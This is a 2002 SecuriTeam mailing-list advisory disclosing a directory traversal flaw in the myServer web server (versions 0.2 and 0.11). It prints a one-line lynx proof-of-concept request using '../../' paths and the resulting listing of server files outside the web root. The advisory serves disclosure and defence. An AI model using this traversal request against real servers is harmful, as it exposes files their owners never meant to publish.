[NT] Directory Traversing Vulnerability in 'myServer' Web Server

From: support@securiteam.com
Date: 12/12/02

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    From: support@securiteam.com
    To: list@securiteam.com
    Date: 12 Dec 2002 18:37:09 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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      Directory Traversing Vulnerability in 'myServer' Web Server
    ------------------------------------------------------------------------

    SUMMARY

     <http://myserverweb.sourceforge.net/> myServer is a free and easy to
    configure web server. A vulnerability in the product allows remote
    attackers to view and access files and directories that reside outside the
    bounding HTML root directory.

    DETAILS

    Vulnerable systems:
     * myServer version 0.2
     * myServer version 0.11

    Exploit:
    bash$ lynx -dump http://myServerhost/../../myServerEXEC-0.2 > x82-x0x
    bash$ cat x82-x0x

       Contents of folder ../../myServerEXEC-0.2/
         _________________________________________________________________

       File Last modify Size
       [1]cgi-lib 0/11/102-12:4:16 System time
       [2]control.exe 3/11/102-10:48:28 System time 258048 bytes
       [3]CVS 0/11/102-12:4:18 System time
       [4]languages 0/11/102-12:4:18 System time
       [5]libhoard.dll 3/9/102-6:0:0 System time 32843 bytes
       [6]logs 0/11/102-12:4:18 System time
       [7]MIMEtypes.txt 0/11/102-3:50:42 System time 276 bytes
       [8]myserver.exe 3/11/102-10:49:2 System time 200704 bytes
       [9]myserver.xml 0/11/102-1:11:46 System time 2238 bytes
       [10]readme.txt 0/11/102-9:59:6 System time 1836 bytes
       [11]REGISTER SERVICE.bat 3/9/102-6:0:0 System time 20 bytes
       [12]START CONSOLE.bat 3/9/102-6:0:0 System time 20 bytes
       [13]START SERVICE.bat 3/9/102-6:0:0 System time 17 bytes
       [14]STOP SERVICE.bat 3/9/102-6:0:0 System time 16 bytes
       [15]system 0/11/102-12:4:18 System time
       [16]UNREGISTER SERVICE.bat 3/9/102-6:0:0 System time 22 bytes
       [17]web 0/11/102-12:4:18 System time

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:xploit@hackermail.com>
    dong-h0un U.

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    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



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